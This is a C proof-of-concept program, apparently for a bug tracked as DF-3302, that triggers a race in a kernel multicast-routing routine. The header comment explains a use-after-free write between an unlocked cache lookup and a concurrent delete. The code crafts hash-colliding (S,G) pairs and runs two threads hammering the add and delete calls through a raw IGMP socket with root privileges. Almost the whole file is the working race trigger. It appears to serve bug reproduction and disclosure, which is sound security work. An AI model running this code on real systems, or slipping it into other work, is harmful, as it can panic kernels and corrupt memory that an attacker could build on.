DF-3302 / mfcrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * DF-3302 PoC: add_mfc() looks up the cache entry with mfc_find() BEFORE * taking mroute_token (sys/net/ip_mroute/ip_mroute.c:976); the found * pointer is then used under the token in update_mfc_params() (:987). * A concurrent MRT_DEL_MFC on another CPU takes the token, unlinks and * kfrees the very same entry between the unlocked lookup and the update, * turning the update into a write into freed memory (UAF-write). * * The race window is widened by (a) a long hash-chain walk in mfc_find * (many entries colliding into one MFCTBLSIZ bucket) and (b) token * contention on the add side. * * MFCHASH(a,g) = (((a)>>20)^((a)>>10)^a ^ (g)>>20^(g)>>10^g) & 255. * We craft many (S,G) pairs with identical hash, then hammer * ADD_MFC (update path) vs DEL_MFC in parallel. * * build: cc -O2 -pthread -o mfcrace mfcrace.c * run: ./mfcrace [seconds] */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include "ip_mroute_common.h" #define MFCTBLSIZ 256 #define RUN_SECS 120 #define NPAIRS 512 static uint32_t pairs[NPAIRS][2]; static volatile int stop_now; #define MFCHASH(a, g) ((((a) >> 20) ^ ((a) >> 10) ^ (a) ^ \ (g) >> 20 ^ (g) >> 10 ^ (g)) & (MFCTBLSIZ - 1)) static void * adder(void *arg) { int fd = *(int *)arg; struct mfcctl2 mfc; int i; while (!stop_now) { for (i = 0; i < NPAIRS; i++) { memset(&mfc, 0, sizeof(mfc)); mfc.mfcc_origin.s_addr = htonl(pairs[i][0]); mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]); mfc.mfcc_parent = 0; setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc)); } } return NULL; } static void * deleter(void *arg) { int fd = *(int *)arg; struct mfcctl2 mfc; int i; while (!stop_now) { for (i = 0; i < NPAIRS; i++) { memset(&mfc, 0, sizeof(mfc)); mfc.mfcc_origin.s_addr = htonl(pairs[i][0]); mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]); setsockopt(fd, IPPROTO_IP, MRT_DEL_MFC, &mfc, sizeof(mfc)); } } return NULL; } int main(int argc, char **argv) { uint32_t s_base = 0x0a141400; /* 10.20.20.0 base, group fixed */ uint32_t grp = 0xe0000001 | (0x5a5a << 8); /* 224.90.90.1 */ uint32_t want; int fd, rc, n = 0, secs = RUN_SECS, i; pthread_t ta, tb; if (argc > 1) secs = atoi(argv[1]); /* craft NPAIRS (S,G) pairs that all hash to bucket (grp hash) */ want = MFCHASH(s_base, grp); for (i = 0; i < NPAIRS; ) { uint32_t s = s_base + (uint32_t)(random() & 0x00ffffff); if (MFCHASH(s, grp) == want) { pairs[i][0] = s; pairs[i][1] = grp; i++; } } printf("crafted %d (S,G) pairs colliding into bucket %u\n", NPAIRS, want); fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); if (fd < 0) { perror("raw igmp socket (must run as root)"); exit(1); } rc = mrt_init(fd); if (rc < 0) { perror("MRT_INIT"); exit(1); } /* pre-populate so adds take the update path */ for (i = 0; i < NPAIRS; i++) { struct mfcctl2 mfc; memset(&mfc, 0, sizeof(mfc)); mfc.mfcc_origin.s_addr = htonl(pairs[i][0]); mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]); setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc)); } pthread_create(&ta, NULL, adder, &fd); pthread_create(&tb, NULL, deleter, &fd); printf("racing ADD_MFC vs DEL_MFC for %d seconds...\n", secs); sleep(secs); stop_now = 1; pthread_join(ta, NULL); pthread_join(tb, NULL); printf("survived %d seconds (no INVARIANTS trip / panic)\n", secs); return 0; } |